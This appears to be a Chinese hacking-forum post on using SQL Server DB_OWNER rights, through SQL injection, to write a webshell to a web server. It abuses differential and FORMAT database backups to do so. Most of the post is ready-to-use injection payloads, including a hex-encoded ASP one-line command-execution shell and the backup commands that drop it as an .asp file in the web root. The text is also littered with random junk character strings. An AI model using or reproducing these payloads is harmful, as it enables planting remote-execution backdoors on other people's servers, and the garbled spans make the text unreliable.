DB_OWNER权限得到webshell的改进方法

admin

减少备份文件大小，得到可执行的webshell成功率提高不少
) f3 [0 p8 w- p. q. a
( \( R: k6 |' t/ q$ z5 t8 ?一利用差异备份
+ U- ]( N3 y% N+ t3 Z加一个参数WITH DIFFERENTIAL

declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

( I( a- Q: N+ C0 v0 M二利用完全FORMAT
加一个参数WITH FROMAT
. X. P: l6 j2 z: ~有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以

4 ]* z' k, y2 [# U- Y5 p* q1 A) Kdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
$ W& i  X$ e. x# W/ f+ Ideclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT

2 _- k/ N) l. a0 G总的来说就是那么简单几句,下面以备份数据库model为例子
7 [; r  |) }/ [$ N) M: F
" W$ x! c5 X( @8 Kid=1;use model create table cmd(str image);insert into cmd(str) values (”)

id=1;backup database model to disk=’你的路径‘ with differential,format;–